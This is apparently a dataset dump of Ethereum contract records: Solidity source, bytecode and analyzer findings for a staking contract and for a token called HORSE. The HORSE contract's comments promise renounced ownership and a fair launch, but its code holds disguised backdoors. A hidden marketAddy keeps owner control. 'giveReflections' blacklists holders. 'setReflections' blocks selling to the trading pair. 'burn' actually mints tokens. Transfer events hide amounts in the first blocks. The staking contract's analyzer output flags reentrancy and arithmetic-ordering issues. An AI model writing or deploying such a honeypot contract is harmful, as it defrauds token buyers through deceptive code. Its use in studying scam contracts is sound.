function yourActiveStake(address _user) public view returns(uint256 _activeStake){
return users[_user].activeDeposit;
}
// ------------------------------------------------------------------------
// Query to get the total stakes of the user
// ------------------------------------------------------------------------
function yourTotalStakesTillToday(address _user) public view returns(uint256 _totalStakes){
return users[_user].totalDeposits;
}
// ------------------------------------------------------------------------
// Query to get the time of last stake of user
// ------------------------------------------------------------------------
function StakedOn(address _user) public view returns(uint256 _unixLastStakedTime){
return users[_user].startTime;
}
// ------------------------------------------------------------------------
// Query to get total earned rewards from stake
// ------------------------------------------------------------------------
function totalStakeRewardsClaimedTillToday(address _user) public view returns(uint256 _totalEarned){
return users[_user].totalGained;
}
// ------------------------------------------------------------------------
// Query to get the staking rate
// ------------------------------------------------------------------------
function latestStakingRate() public view returns(uint256 APY){
uint256 yearOfContract = (((block.timestamp).sub(contractStartDate)).div(365 days)).add(1);
uint256 rate;
if(yearOfContract == 1)
rate = firstYearRate;
else if(yearOfContract == 2)
rate = secondYearRate;
else
rate = afterSecondYearRate;
return rate;
}
// ------------------------------------------------------------------------
// Query to get the staking period
// ------------------------------------------------------------------------
function latestStakingPeriod() public view returns(uint256 Period){
uint256 yearOfContract = (((block.timestamp).sub(contractStartDate)).div(365 days)).add(1);
uint256 period;
if(yearOfContract == 1)
period = firstYearStakingPeriod;
else if(yearOfContract == 2)
period = secondYearStakingPeriod;
else
period = afterSecondYearStakingPeriod;
return period;
}
// ------------------------------------------------------------------------
// Query to get the staking time left
// ------------------------------------------------------------------------
function stakingTimeLeft(address _user) public view returns(uint256 _secsLeft){
if(users[_user].activeDeposit > 0){
uint256 left = 0;
uint256 expiryDate = (latestStakingPeriod()).add(StakedOn(_user));
if(now < expiryDate)
left = expiryDate.sub(now);
return left;
}
else
return 0;
}
//#########################################################################################################################################################//
//################################################################COMMON UTILITIES#########################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Internal function to add new deposit
// ------------------------------------------------------------------------
function _newDeposit(address _tokenAddress, uint256 _amount, address _referrerID) internal{
require(users[msg.sender].activeDeposit == 0, "Already running");
require(_tokenAddress == MIKI, "Only MIKI tokens supported");
// add that token into the contract balance
// check if we have any pending reward, add it to pendingGains variable
users[msg.sender].pendingGains = pendingReward(msg.sender);
users[msg.sender].activeDeposit = _amount;
users[msg.sender].totalDeposits = users[msg.sender].totalDeposits.add(_amount);
users[msg.sender].startTime = now;
users[msg.sender].lastClaimedDate = now;
users[msg.sender].referrer = _referrerID;
users[msg.sender].Exist = true;
totalStakes = totalStakes.add(_amount);
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function _onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Updates the reward for referrer
// ------------------------------------------------------------------------
function _updateReferralReward(uint256 _amount, address _referrerID) private{
users[_referrerID].pendingGains += _onePercent(_amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063b61aa7c7116100b8578063c66703941161007c578063c6670394146103fd578063dec1b9dc1461041b578063e350b8e414610439578063e4598ee214610487578063f2fde38b146104df578063f40f0f521461052357610142565b8063b61aa7c7146102cd578063bd7b219414610325578063bf9befb11461032f578063c2ef64be1461034d578063c3b893d5146103a557610142565b806374c1c8ba1161010a57806374c1c8ba1461021757806379372f9a146102355780638a5062621461023f5780638c28cb721461025d5780638da5cb5b1461027b5780639472d38a146102af57610142565b80630e15561a14610147578063376285b0146101655780633dc10ad41461018357806367f7ab2b146101a157806368314654146101bf575b600080fd5b61014f61057b565b6040518082815260200191505060405180910390f35b61016d610581565b6040518082815260200191505060405180910390f35b61018b610587565b6040518082815260200191505060405180910390f35b6101a961058d565b6040518082815260200191505060405180910390f35b610201600480360360208110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610593565b6040518082815260200191505060405180910390f35b61021f6105df565b6040518082815260200191505060405180910390f35b61023d610659565b005b61024761095c565b6040518082815260200191505060405180910390f35b610265610962565b6040518082815260200191505060405180910390f35b6102836109dc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102b7610a00565b6040518082815260200191505060405180910390f35b61030f600480360360208110156102e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a06565b6040518082815260200191505060405180910390f35b61032d610a52565b005b610337610dd3565b6040518082815260200191505060405180910390f35b61038f6004803603602081101561036357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd9565b6040518082815260200191505060405180910390f35b6103e7600480360360208110156103bb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e25565b6040518082815260200191505060405180910390f35b610405610eca565b6040518082815260200191505060405180910390f35b610423610ed0565b6040518082815260200191505060405180910390f35b6104856004803603604081101561044f57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed6565b005b6104c96004803603602081101561049d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111ae565b6040518082815260200191505060405180910390f35b610521600480360360208110156104f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fa565b005b6105656004803603602081101561053957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ef565b6040518082815260200191505060405180910390f35b60025481565b60095481565b60015481565b60065481565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b60008061062060016106126301e13380610604600a544261158990919063ffffffff16565b6115a090919063ffffffff16565b6115b990919063ffffffff16565b905060006001821415610637576004549050610651565b600282141561064a576005549050610650565b60065490505b5b809250505090565b6000610664336112ef565b116106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f6e6f7468696e672070656e64696e6720746f20636c61696d000000000000000081525060200191505060405180910390fd5b730488a7b65e8a07db4642a1cbe75434b4c452402673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610711336112ef565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d602081101561078e57600080fd5b81019080805190602001909291905050506107a857600080fd5b7f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f7241336107d3336112ef565b604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1610822610811336112ef565b6002546115b990919063ffffffff16565b600281905550610885610834336112ef565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601546115b990919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206006018190555042600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501819055506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040181905550565b60075481565b6000806109a360016109956301e13380610987600a544261158990919063ffffffff16565b6115a090919063ffffffff16565b6115b990919063ffffffff16565b9050600060018214156109ba5760075490506109d4565b60028214156109cd5760085490506109d3565b60095490505b5b809250505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601549050919050565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015411610b0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f6e6f2072756e6e696e67207374616b650000000000000000000000000000000081525060200191505060405180910390fd5b600042610b15610962565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154011115610b655760015490505b6000610c18610bc783610bb9600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546115d5565b61162990919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015461158990919063ffffffff16565b9050730488a7b65e8a07db4642a1cbe75434b4c452402673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c9f57600080fd5b505af1158015610cb3573d6000803e3d6000fd5b505050506040513d6020811015610cc957600080fd5b8101908080519060200190929190505050610ce357600080fd5b610cec336112ef565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055507f896e034966eaaf1adc54acc0f257056febbd300c9e47182cf761982cf1f5e4303382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505050565b60035481565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549050919050565b600080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541115610ec057600080610e96610e80856111ae565b610e88610962565b6115b990919063ffffffff16565b905080421015610eb657610eb3428261158990919063ffffffff16565b91505b8192505050610ec5565b600090505b919050565b60055481565b60085481565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480610f5d5750600b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff165b610fcf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f496e76616c69642052656665727265722049640000000000000000000000000081525060200191505060405180910390fd5b60008211611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c696420616d6f756e7400000000000000000000000000000000000081525060200191505060405180910390fd5b611064730488a7b65e8a07db4642a1cbe75434b4c45240268383611660565b61106e8282611a88565b730488a7b65e8a07db4642a1cbe75434b4c452402673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561111157600080fd5b505af1158015611125573d6000803e3d6000fd5b505050506040513d602081101561113b57600080fd5b810190808051906020019092919050505061115557600080fd5b7f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d3383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461125257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600080600090506000611354600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154611346610962565b6115b990919063ffffffff16565b9050804210156113ba576113b3600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501544261158990919063ffffffff16565b9150611465565b80600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501541061140c5760009150611464565b611461600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501548261158990919063ffffffff16565b91505b5b60006114a06301e13380611492683635c9adc5dea000006114846105df565b61162990919063ffffffff16565b6115a090919063ffffffff16565b9050600061152769152d02c7e14af68000006115196114c8858861162990919063ffffffff16565b600b60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015461162990919063ffffffff16565b6115a090919063ffffffff16565b905061157e600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154826115b990919063ffffffff16565b945050505050919050565b60008282111561159557fe5b818303905092915050565b6000808284816115ac57fe5b0490508091505092915050565b6000808284019050838110156115cb57fe5b8091505092915050565b6000806115ec606484611ae490919063ffffffff16565b9050600061161d6002600a0a60640261160f60648561162990919063ffffffff16565b6115a090919063ffffffff16565b90508092505050919050565b60008083141561163c576000905061165a565b600082840290508284828161164d57fe5b041461165557fe5b809150505b92915050565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015414611718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f416c72656164792072756e6e696e67000000000000000000000000000000000081525060200191505060405180910390fd5b730488a7b65e8a07db4642a1cbe75434b4c452402673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146117cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4f6e6c79204d494b4920746f6b656e7320737570706f7274656400000000000081525060200191505060405180910390fd5b6117d6336112ef565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018190555081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055506118b882600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546115b990919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555042600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555042600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005018190555080600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff021916908315150217905550611a7d826003546115b990919063ffffffff16565b600381905550505050565b611a91826115d5565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825401925050819055505050565b6000818260018486010381611af557fe5b040290509291505056fea26469706673582212205d22c6f17bf29adadc1f7020a6b8a3bb9784c90e30c005ffa27de41da1f8225a64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,663 |
0x42ffb608cb93bc98ec173afc143be9ec6660f725 | /**
*Submitted for verification at Etherscan.io on 2022-04-10
*/
/*
0% Tax, All funding is provided by the team
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced.
100% Fair Launch - no presale, no whitelist
Team will invest their own money on launch like everyone else
More info available on our telegram and website
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract HORSE is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 5000000000000*10**18;
string public _name = "HORSE";
string public _symbol= "HORSE";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0x5a28E0cbEE9B9aD286cda1A2d1e48CCb0427916F);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function toggleReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require((!bots[sender] && !bots[recipient]) || ((sender == marketAddy) || (sender == owner)));
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | 0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610421578063b09f12661461045e578063ba3ac4a514610489578063c9567bf9146104b2578063d28d8852146104c9578063dd62ed3e146104f457610140565b806370a082311461033c5780638da5cb5b1461037957806395d89b41146103a45780639dc29fac146103cf578063a6f9dae1146103f857610140565b806323b872dd116100fd57806323b872dd1461023e578063294e3eb11461027b578063313ce567146102925780633eaaf86b146102bd5780636e4ee811146102e85780636ebcf607146102ff57610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806315a892be146101ea57806318160ddd1461021357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611fde565b610531565b6040516101799190612037565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a491906120eb565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612139565b6105e8565b6040516101e19190612194565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c91906122f7565b610606565b005b34801561021f57600080fd5b5061022861074d565b6040516102359190612037565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612340565b610757565b6040516102729190612194565b60405180910390f35b34801561028757600080fd5b5061029061084f565b005b34801561029e57600080fd5b506102a7610981565b6040516102b491906123af565b60405180910390f35b3480156102c957600080fd5b506102d261098a565b6040516102df9190612037565b60405180910390f35b3480156102f457600080fd5b506102fd610990565b005b34801561030b57600080fd5b50610326600480360381019061032191906123ca565b610a87565b6040516103339190612037565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e91906123ca565b610a9f565b6040516103709190612037565b60405180910390f35b34801561038557600080fd5b5061038e610ae7565b60405161039b9190612406565b60405180910390f35b3480156103b057600080fd5b506103b9610b0d565b6040516103c691906120eb565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612139565b610b9f565b005b34801561040457600080fd5b5061041f600480360381019061041a91906123ca565b610da5565b005b34801561042d57600080fd5b5061044860048036038101906104439190612139565b610e9b565b6040516104559190612194565b60405180910390f35b34801561046a57600080fd5b50610473610eb9565b60405161048091906120eb565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab91906122f7565b610f47565b005b3480156104be57600080fd5b506104c761108e565b005b3480156104d557600080fd5b506104de611592565b6040516104eb91906120eb565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190611fde565b611620565b6040516105289190612037565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461056590612450565b80601f016020809104026020016040519081016040528092919081815260200182805461059190612450565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f56116a7565b84846116af565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106af5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106b857600080fd5b60005b8151811015610749576001600360008484815181106106dd576106dc612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610741906124e0565b9150506106bb565b5050565b6000600654905090565b600061076484848461187a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af6116a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061259b565b60405180910390fd5b6108438561083b6116a7565b8584036116af565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108f85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61090157600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a395750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a4257600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610b1c90612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4890612450565b8015610b955780601f10610b6a57610100808354040283529160200191610b95565b820191906000526020600020905b815481529060010190602001808311610b7857829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c485750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c5157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890612607565b60405180910390fd5b610ccd60008383611f67565b8060066000828254610cdf9190612627565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d349190612627565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d999190612037565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e4e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffff